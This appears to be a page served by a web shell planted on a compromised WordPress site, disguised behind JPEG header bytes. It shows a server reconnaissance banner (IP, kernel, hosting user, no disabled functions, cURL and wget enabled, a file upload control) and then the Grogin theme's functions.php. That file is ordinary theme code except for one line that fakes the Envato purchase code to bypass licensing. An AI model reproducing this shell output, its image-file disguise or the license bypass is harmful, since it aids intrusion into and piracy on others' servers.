���� JFIF fdasasfas213sdaf
Server IP : 147.79.69.77 / Your IP : 216.73.216.210 Web Server : LiteSpeed System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64 User : u479334040 ( 479334040) PHP Version : 8.2.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u479334040/domains/arbaazar.com/public_html/wp-content/themes/grogin/ |
Upload File : |
<?php /** * functions.php * @package WordPress * @subpackage Grogin * @since Grogin 1.0.1 * */ update_option( 'envato_purchase_code_50297090','xxxxxxx' ); /************************************************* ## Admin style and scripts *************************************************/ function grogin_admin_styles() { wp_enqueue_style('grogin-klbtheme', get_template_directory_uri() .'/assets/css/admin/klbtheme.css'); wp_enqueue_script('grogin-init', get_template_directory_uri() .'/assets/js/init.js', array('jquery','media-upload','thickbox')); wp_enqueue_script('grogin-register', get_template_directory_uri() .'/assets/js/admin/register.js', array('jquery'), '1.0', true); wp_register_style( 'grogin-klbtheme-icons', get_template_directory_uri() .'/assets/css/klbtheme-icons.css', false, '1.0'); wp_register_style( 'grogin-klbtheme-social', get_template_directory_uri() .'/assets/css/klbtheme-social.css', false, '1.0'); } add_action('admin_enqueue_scripts', 'grogin_admin_styles'); /************************************************* ## Grogin Fonts *************************************************/ function grogin_fonts_url() { $fonts_url = ''; $allfont = array(); $inter = '"Inter", sans-serif'; $barlow = '"Barlow", sans-serif'; $allfont[] = isset(get_theme_mod('grogin_body_typography', [])['font-family']) ? get_theme_mod('grogin_body_typography', [])['font-family'] :''; $allfont[] = isset(get_theme_mod('grogin_heading_typography', [])['font-family']) ? get_theme_mod('grogin_heading_typography', [])['font-family'] :''; $allfont[] = isset(get_theme_mod('grogin_menu_typography', [])['font-family']) ? get_theme_mod('grogin_menu_typography', [])['font-family'] :''; $allfont[] = isset(get_theme_mod('grogin_form_typography', [])['font-family']) ? get_theme_mod('grogin_form_typography', [])['font-family'] :''; $allfont[] = isset(get_theme_mod('grogin_button_typography', [])['font-family']) ? get_theme_mod('grogin_button_typography', [])['font-family'] :''; $allfont[] = isset(get_theme_mod('grogin_price_typography', [])['font-family']) ? get_theme_mod('grogin_price_typography', [])['font-family'] :''; $allfont[] = isset(get_theme_mod('grogin_product_name_typography', [])['font-family']) ? get_theme_mod('grogin_product_name_typography', [])['font-family'] :''; $allfont[] = isset(get_theme_mod('grogin_topbar_typography', [])['font-family']) ? get_theme_mod('grogin_topbar_typography', [])['font-family'] :''; $font_families = array(); if(in_array($inter, $allfont) || !$allfont) { $font_families[] = 'Inter:wght@100;200;300;400;500;600;700;800;900'; } if(in_array($barlow, $allfont)) { $font_families[] = 'Barlow:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900'; } if(in_array($inter, $allfont) || in_array($barlow, $allfont) || !$allfont) { $query_args = array( 'family' => rawurldecode( implode( '&family=', $font_families ) ), 'subset' => rawurldecode( 'latin,latin-ext' ), ); $fonts_url = add_query_arg( $query_args, '//fonts.googleapis.com/css2' ); } return esc_url_raw( $fonts_url ); } /************************************************* ## Styles and Scripts *************************************************/ define('GROGIN_INDEX_CSS', get_template_directory_uri() . '/assets/css'); define('GROGIN_INDEX_JS', get_template_directory_uri() . '/assets/js'); function grogin_scripts() { if ( is_admin_bar_showing() ) { wp_enqueue_style( 'grogin-klbtheme', GROGIN_INDEX_CSS . '/admin/klbtheme.css', false, '1.0'); } if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); wp_enqueue_style( 'bootstrap', GROGIN_INDEX_CSS . '/bootstrap.min.css', false, '1.0'); wp_enqueue_style( 'grogin-klbtheme-icons', GROGIN_INDEX_CSS . '/klbtheme-icons.css', false, '1.0'); wp_enqueue_style( 'grogin-klbtheme-social', GROGIN_INDEX_CSS . '/klbtheme-social.css', false, '1.0'); wp_enqueue_style( 'slick', GROGIN_INDEX_CSS . '/slick.css', false, '1.0'); wp_enqueue_style( 'grogin-social-media', GROGIN_INDEX_CSS . '/modules/social-media.css', false, '1.0'); wp_style_add_data( 'grogin-social-media', 'rtl', 'replace' ); wp_enqueue_style( 'grogin-slider', GROGIN_INDEX_CSS . '/modules/slider.css', false, '1.0'); wp_style_add_data( 'grogin-slider', 'rtl', 'replace' ); wp_enqueue_style( 'grogin-banner', GROGIN_INDEX_CSS . '/modules/banner.css', false, '1.0'); wp_style_add_data( 'grogin-banner', 'rtl', 'replace' ); wp_enqueue_style( 'grogin-iconbox', GROGIN_INDEX_CSS . '/modules/iconbox.css', false, '1.0'); wp_style_add_data( 'grogin-iconbox', 'rtl', 'replace' ); wp_enqueue_style( 'grogin-hover-gallery', GROGIN_INDEX_CSS . '/modules/hover-gallery.css', false, '1.0'); wp_style_add_data( 'grogin-hover-gallery', 'rtl', 'replace' ); wp_enqueue_style( 'grogin-product-grid', GROGIN_INDEX_CSS . '/modules/product-grid.css', false, '1.0'); wp_style_add_data( 'grogin-product-grid', 'rtl', 'replace' ); wp_enqueue_style( 'grogin-promo-banner', GROGIN_INDEX_CSS . '/modules/promo-banner.css', false, '1.0'); wp_style_add_data( 'grogin-promo-banner', 'rtl', 'replace' ); wp_enqueue_style( 'grogin-store-box', GROGIN_INDEX_CSS . '/modules/store-box.css', false, '1.0'); wp_style_add_data( 'grogin-store-box', 'rtl', 'replace' ); wp_enqueue_style( 'grogin-category-box', GROGIN_INDEX_CSS . '/modules/category-box.css', false, '1.0'); wp_style_add_data( 'grogin-category-box', 'rtl', 'replace' ); wp_enqueue_style( 'grogin-blog', GROGIN_INDEX_CSS . '/modules/blog.css', false, '1.0'); wp_style_add_data( 'grogin-blog', 'rtl', 'replace' ); wp_enqueue_style( 'grogin-contact-page', GROGIN_INDEX_CSS . '/modules/contact-page.css', false, '1.0'); wp_style_add_data( 'grogin-contact-page', 'rtl', 'replace' ); wp_enqueue_style( 'magnific-popup', GROGIN_INDEX_CSS . '/magnific-popup.css', false, '1.0'); wp_enqueue_style( 'typography', GROGIN_INDEX_CSS . '/typography-min.css', false, '1.0'); wp_enqueue_style( 'grogin-spaces', GROGIN_INDEX_CSS . '/spaces-min.css', false, '1.0'); wp_style_add_data( 'grogin-spaces', 'rtl', 'replace' ); wp_enqueue_style( 'colors-min', GROGIN_INDEX_CSS . '/colors-min.css', false, '1.0'); wp_enqueue_style( 'grogin-base', GROGIN_INDEX_CSS . '/base.css', false, '1.0'); wp_style_add_data( 'grogin-base', 'rtl', 'replace' ); wp_enqueue_style( 'grogin-font-url', grogin_fonts_url(), array(), null ); wp_enqueue_style( 'grogin-style', get_stylesheet_uri() ); wp_style_add_data( 'grogin-style', 'rtl', 'replace' ); $mapkey = get_theme_mod('grogin_mapapi'); wp_enqueue_script( 'imagesloaded'); wp_enqueue_script( 'bootstrap-bundle', GROGIN_INDEX_JS . '/bootstrap.bundle.min.js', array('jquery'), '1.0', true); wp_enqueue_script( 'jquery-countdown', GROGIN_INDEX_JS . '/jquery.countdown.min.js', array('jquery'), '1.0', true); wp_enqueue_script( 'Draggable', GROGIN_INDEX_JS . '/Draggable.min.js', array('jquery'), '1.0', true); wp_enqueue_script( 'gsap-min', GROGIN_INDEX_JS . '/gsap.min.js', array('jquery'), '1.0', true); wp_enqueue_script( 'slick-min', GROGIN_INDEX_JS . '/slick.min.js', array('jquery'), '1.0', true); wp_enqueue_script( 'hover-gallery', GROGIN_INDEX_JS . '/hover-gallery.js', array('jquery'), '1.0', true); wp_register_script( 'theia-sticky-sidebar', GROGIN_INDEX_JS . '/theia-sticky-sidebar.min.js', array('jquery'), '1.0', true); wp_enqueue_script( 'jquery-magnific-popup', GROGIN_INDEX_JS . '/jquery.magnific-popup.min.js', array('jquery'), '1.0', true); wp_enqueue_script( 'grogin-siteslider', GROGIN_INDEX_JS . '/custom/siteslider.js', array('jquery'), '1.0', true); wp_enqueue_script( 'grogin-countdown', GROGIN_INDEX_JS . '/custom/countdown.js', array('jquery'), '1.0', true); wp_enqueue_script( 'grogin-productquantity', GROGIN_INDEX_JS . '/custom/productquantity.js', array('jquery'), '1.0', true); wp_register_script( 'grogin-stickysidebar', GROGIN_INDEX_JS . '/custom/stickysidebar.js', array('jquery'), '1.0', true); wp_register_script( 'grogin-sidebarfilter', GROGIN_INDEX_JS . '/custom/sidebarfilter.js', array('jquery'), '1.0', true); wp_enqueue_script( 'grogin-cartquantity', GROGIN_INDEX_JS . '/custom/cartquantity.js', array('jquery'), '1.0', true); wp_register_script( 'grogin-flex-thumbs', GROGIN_INDEX_JS . '/custom/flex-thumbs.js', array('jquery'), '1.0', true); wp_register_script( 'grogin-loginform', GROGIN_INDEX_JS . '/custom/loginform.js', array('jquery'), '1.0', true); wp_register_script( 'grogin-hoverslider', GROGIN_INDEX_JS . '/custom/hoverslider.js', array('jquery'), '1.0', true); wp_enqueue_script( 'grogin-sitescroll', GROGIN_INDEX_JS . '/custom/sitescroll.js', array('jquery'), '1.0', true); wp_enqueue_script( 'grogin-productshare', GROGIN_INDEX_JS . '/custom/productshare.js', array('jquery'), '1.0', true); wp_enqueue_script( 'bundle', GROGIN_INDEX_JS . '/bundle.js', array('jquery'), '1.0', true); } add_action( 'wp_enqueue_scripts', 'grogin_scripts' ); /************************************************* ## Theme Setup *************************************************/ if ( ! isset( $content_width ) ) $content_width = 960; function grogin_theme_setup() { add_theme_support( 'title-tag' ); add_theme_support( 'automatic-feed-links' ); add_theme_support( 'post-thumbnails' ); add_theme_support( 'custom-background' ); add_theme_support( 'post-formats', array('gallery', 'audio', 'video')); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); add_theme_support( 'woocommerce', array('gallery_thumbnail_image_width' => 99,) ); load_theme_textdomain( 'grogin', get_template_directory() . '/languages' ); remove_theme_support( 'widgets-block-editor' ); } add_action( 'after_setup_theme', 'grogin_theme_setup' ); /************************************************* ## Include the TGM_Plugin_Activation class. *************************************************/ require_once get_template_directory() . '/includes/class-tgm-plugin-activation.php'; add_action( 'tgmpa_register', 'grogin_register_required_plugins' ); function grogin_register_required_plugins() { $url = 'http://klbtheme.com/grogin/plugins/'; $mainurl = 'http://klbtheme.com/plugins/'; $plugins = array( array( 'name' => esc_html__('Meta Box','grogin'), 'slug' => 'meta-box', ), array( 'name' => esc_html__('Contact Form 7','grogin'), 'slug' => 'contact-form-7', ), array( 'name' => esc_html__('Kirki','grogin'), 'slug' => 'kirki', ), array( 'name' => esc_html__('MailChimp Subscribe','grogin'), 'slug' => 'mailchimp-for-wp', ), array( 'name' => esc_html__('Elementor','grogin'), 'slug' => 'elementor', 'required' => true, ), array( 'name' => esc_html__('WooCommerce','grogin'), 'slug' => 'woocommerce', 'required' => true, ), array( 'name' => esc_html__('Grogin Core','grogin'), 'slug' => 'grogin-core', 'source' => $url . 'grogin-core.zip', 'required' => true, 'version' => '1.0.0', 'force_activation' => false, 'force_deactivation' => false, 'external_url' => '', ), array( 'name' => esc_html__('Envato Market','grogin'), 'slug' => 'envato-market', 'source' => $mainurl . 'envato-market.zip', 'required' => true, 'version' => '2.0.11', 'force_activation' => false, 'force_deactivation' => false, 'external_url' => '', ), ); $config = array( 'id' => 'grogin', // Unique ID for hashing notices for multiple instances of TGMPA. 'default_path' => '', // Default absolute path to bundled plugins. 'menu' => 'tgmpa-install-plugins', // Menu slug. 'parent_slug' => 'themes.php', // Parent menu slug. 'capability' => 'edit_theme_options', // Capability needed to view plugin install page, should be a capability associated with the parent menu used. 'has_notices' => true, // Show admin notices or not. 'dismissable' => true, // If false, a user cannot dismiss the nag message. 'dismiss_msg' => '', // If 'dismissable' is false, this message will be output at top of nag. 'is_automatic' => false, // Automatically activate plugins after installation or not. 'message' => '', // Message to output right before the plugins table. ); tgmpa( $plugins, $config ); } /************************************************* ## Grogin Register Menu *************************************************/ function grogin_register_menus() { register_nav_menus( array( 'main-menu' => esc_html__('Primary Navigation Menu','grogin')) ); $canvasbottommenu = get_theme_mod('grogin_canvas_bottom_menu','0'); $topleftmenu = get_theme_mod('grogin_top_left_menu','0'); $toprightmenu = get_theme_mod('grogin_top_right_menu','0'); $footermenu = get_theme_mod('grogin_footer_menu','0'); $sidebarmenu = get_theme_mod('grogin_header_sidebar','0'); if($canvasbottommenu == '1'){ register_nav_menus( array( 'canvas-bottom' => esc_html__('Canvas Bottom Menu','grogin')) ); } if($topleftmenu == '1'){ register_nav_menus( array( 'top-left-menu' => esc_html__('Top Left Menu','grogin')) ); } if($toprightmenu == '1'){ register_nav_menus( array( 'top-right-menu' => esc_html__('Top Right Menu','grogin')) ); } if($sidebarmenu == '1'){ register_nav_menus( array( 'sidebar-menu' => esc_html__('Sidebar Menu','grogin')) ); } if($footermenu == '1'){ register_nav_menus( array( 'footer-menu' => esc_html__('Footer Menu','grogin')) ); } } add_action('init', 'grogin_register_menus'); /************************************************* ## Excerpt More *************************************************/ function grogin_excerpt_more($more) { global $post; return '<div class="klb-readmore entry-button"><a class="btn btn-primary link" href="'. esc_url(get_permalink($post->ID)) . '">' . esc_html__('Read More', 'grogin') . ' <i class="klbth-icon-right-arrow"></i></a></div>'; } add_filter('excerpt_more', 'grogin_excerpt_more'); /************************************************* ## Word Limiter *************************************************/ function grogin_limit_words($string, $limit) { $words = explode(' ', $string); return implode(' ', array_slice($words, 0, $limit)); } /************************************************* ## Widgets *************************************************/ function grogin_widgets_init() { register_sidebar( array( 'name' => esc_html__( 'Blog Sidebar', 'grogin' ), 'id' => 'blog-sidebar', 'description' => esc_html__( 'These are widgets for the Blog page.','grogin' ), 'before_widget' => '<div class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="widget-title">', 'after_title' => '</h4>' ) ); register_sidebar( array( 'name' => esc_html__( 'Shop Sidebar', 'grogin' ), 'id' => 'shop-sidebar', 'description' => esc_html__( 'These are widgets for the Shop.','grogin' ), 'before_widget' => '<div class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="widget-title">', 'after_title' => '</h4>' ) ); register_sidebar( array( 'name' => esc_html__( 'Footer First Column', 'grogin' ), 'id' => 'footer-1', 'description' => esc_html__( 'These are widgets for the Footer.','grogin' ), 'before_widget' => '<div class="klbfooterwidget widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="widget-title">', 'after_title' => '</h4>' ) ); register_sidebar( array( 'name' => esc_html__( 'Footer Second Column', 'grogin' ), 'id' => 'footer-2', 'description' => esc_html__( 'These are widgets for the Footer.','grogin' ), 'before_widget' => '<div class="klbfooterwidget widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="widget-title">', 'after_title' => '</h4>' ) ); register_sidebar( array( 'name' => esc_html__( 'Footer Third Column', 'grogin' ), 'id' => 'footer-3', 'description' => esc_html__( 'These are widgets for the Footer.','grogin' ), 'before_widget' => '<div class="klbfooterwidget widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="widget-title">', 'after_title' => '</h4>' ) ); register_sidebar( array( 'name' => esc_html__( 'Footer Fourth Column', 'grogin' ), 'id' => 'footer-4', 'description' => esc_html__( 'These are widgets for the Footer.','grogin' ), 'before_widget' => '<div class="klbfooterwidget widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="widget-title">', 'after_title' => '</h4>' ) ); } add_action( 'widgets_init', 'grogin_widgets_init' ); /************************************************* ## Grogin Comment *************************************************/ if ( ! function_exists( 'grogin_comment' ) ) : function grogin_comment( $comment, $args, $depth ) { $GLOBALS['comment'] = $comment; switch ( $comment->comment_type ) : case 'pingback' : case 'trackback' : ?> <article class="post pingback"> <p><?php esc_html_e( 'Pingback:', 'grogin' ); ?> <?php comment_author_link(); ?><?php edit_comment_link( esc_html__( '(Edit)', 'grogin' ), ' ' ); ?></p> <?php break; default : ?> <li <?php comment_class(); ?> id="comment-<?php comment_ID(); ?>"> <div id="div-comment-<?php comment_ID(); ?>" class="comment-body"> <article class="comment-body klb-comment-body"> <div class="vcard"> <img src="<?php echo get_avatar_url( $comment, 90 ); ?>" alt="<?php comment_author(); ?>" class="avatar"> </div> <div class="comment-right-side comment-meta"> <div class="comment-author"> <b class="fn"><a class="url"><?php comment_author(); ?></a></b> </div> <div class="comment-metadata"> <time><?php comment_date(); ?></time> </div><!-- comment-metadata --> <div class="comment-content"> <div class="klb-post"> <?php comment_text(); ?> <?php if ( $comment->comment_approved == '0' ) : ?> <em><?php esc_html_e( 'Your comment is awaiting moderation.', 'grogin' ); ?></em> <?php endif; ?> </div> </div><!-- comment-content --> <div class="reply"> <?php comment_reply_link( array_merge( $args, array( 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?> </div><!-- reply --> </div><!-- comment-right-side --> </article> </div> </li> <?php break; endswitch; } endif; /************************************************* ## Grogin Widget Count Filter *************************************************/ function grogin_cat_count_span($links) { $links = str_replace('</a> (', '</a> <span class="catcount">(', $links); $links = str_replace(')', ')</span>', $links); return grogin_sanitize_data($links); } add_filter('wp_list_categories', 'grogin_cat_count_span'); function grogin_archive_count_span( $links ) { $links = str_replace( '</a> (', '</a><span class="catcount">(', $links ); $links = str_replace( ')', ')</span>', $links ); return grogin_sanitize_data($links); } add_filter( 'get_archives_link', 'grogin_archive_count_span' ); /************************************************* ## Pingback url auto-discovery header for single posts, pages, or attachments *************************************************/ function grogin_pingback_header() { if ( is_singular() && pings_open() ) { echo '<link rel="pingback" href="', esc_url( get_bloginfo( 'pingback_url' ) ), '">'; } } add_action( 'wp_head', 'grogin_pingback_header' ); /************************************************* ## Nav Description *************************************************/ function grogin_nav_description( $item_output, $item, $depth, $args ) { if ( !empty( $item->description ) ) { $item_output = str_replace( $args->link_after . '</a>', '<span class="badge ' . $item->description . '">' . $item->description . '</span>' . $args->link_after . '</a>', $item_output ); } return grogin_sanitize_data($item_output); } add_filter( 'walker_nav_menu_start_el', 'grogin_nav_description', 10, 4 ); /************************************************************ ## DATA CONTROL FROM PAGE METABOX OR ELEMENTOR PAGE SETTINGS *************************************************************/ function grogin_page_settings( $opt_id){ if ( class_exists( '\Elementor\Core\Settings\Manager' ) ) { // Get the current post id $post_id = get_the_ID(); // Get the page settings manager $page_settings_manager = \Elementor\Core\Settings\Manager::get_settings_managers( 'page' ); // Get the settings model for current post $page_settings_model = $page_settings_manager->get_model( $post_id ); // Retrieve the color we added before $output = $page_settings_model->get_settings( 'grogin_elementor_'.$opt_id ); return $output; } } /************************************************************ ## Elementor Register Location *************************************************************/ function grogin_register_elementor_locations( $elementor_theme_manager ) { $elementor_theme_manager->register_location( 'header' ); $elementor_theme_manager->register_location( 'footer' ); $elementor_theme_manager->register_location( 'single' ); $elementor_theme_manager->register_location( 'archive' ); } add_action( 'elementor/theme/register_locations', 'grogin_register_elementor_locations' ); /************************************************************ ## Elementor Get Templates *************************************************************/ function grogin_get_elementor_template($template_id){ if($template_id){ $frontend = \Elementor\Plugin::instance()->frontend; printf( '<div class="grogin-elementor-template template-'.esc_attr($template_id).'">%1$s</div>', $frontend->get_builder_content_for_display( $template_id, true ) ); if ( class_exists( '\Elementor\Plugin' ) ) { $elementor = \Elementor\Plugin::instance(); $elementor->frontend->enqueue_styles(); $elementor->frontend->enqueue_scripts(); } if ( class_exists( '\ElementorPro\Plugin' ) ) { $elementor_pro = \ElementorPro\Plugin::instance(); $elementor_pro->enqueue_styles(); } } } add_action( 'grogin_before_main_shop', 'grogin_get_elementor_template', 10); add_action( 'grogin_after_main_shop', 'grogin_get_elementor_template', 10); add_action( 'grogin_before_main_footer', 'grogin_get_elementor_template', 10); add_action( 'grogin_after_main_footer', 'grogin_get_elementor_template', 10); add_action( 'grogin_before_main_header', 'grogin_get_elementor_template', 10); add_action( 'grogin_after_main_header', 'grogin_get_elementor_template', 10); /************************************************************ ## Do Action for Templates and Product Categories *************************************************************/ function grogin_do_action($hook){ if ( !class_exists( 'woocommerce' ) ) { return; } $categorytemplate = get_theme_mod('grogin_elementor_template_each_shop_category'); if(is_product_category()){ if($categorytemplate && array_search(get_queried_object()->term_id, array_column($categorytemplate, 'category_id')) !== false){ foreach($categorytemplate as $c){ if($c['category_id'] == get_queried_object()->term_id){ do_action( $hook, $c[$hook.'_elementor_template_category']); } } } else { do_action( $hook, get_theme_mod($hook.'_elementor_template')); } } else { do_action( $hook, get_theme_mod($hook.'_elementor_template')); } } /************************************************* ## Grogin Get Image *************************************************/ function grogin_get_image($image){ $app_image = ! wp_attachment_is_image($image) ? $image : wp_get_attachment_url($image); return esc_html($app_image); } /************************************************* ## Grogin Get options *************************************************/ function grogin_get_option(){ $getopt = isset( $_GET['opt'] ) ? $_GET['opt'] : ''; return esc_html($getopt); } /************************************************* ## Grogin Body Class *************************************************/ function grogin_body_input_class( $classes ) { if(get_theme_mod('grogin_body_input_type') == 'filled') { $classes[] = 'input-variation-filled'; } else { $classes[] = 'input-variation-default'; } return $classes; } add_filter('body_class', 'grogin_body_input_class'); /************************************************* ## Grogin Theme options *************************************************/ require_once get_template_directory() . '/includes/metaboxes.php'; require_once get_template_directory() . '/includes/woocommerce.php'; require_once get_template_directory() . '/includes/woocommerce-filter.php'; require_once get_template_directory() . '/includes/pjax/filter-functions.php'; require_once get_template_directory() . '/includes/sanitize.php'; require_once get_template_directory() . '/includes/merlin/theme-register.php'; require_once get_template_directory() . '/includes/merlin/setup-wizard.php'; require_once get_template_directory() . '/includes/header/main-header.php'; require_once get_template_directory() . '/includes/footer/main_footer.php';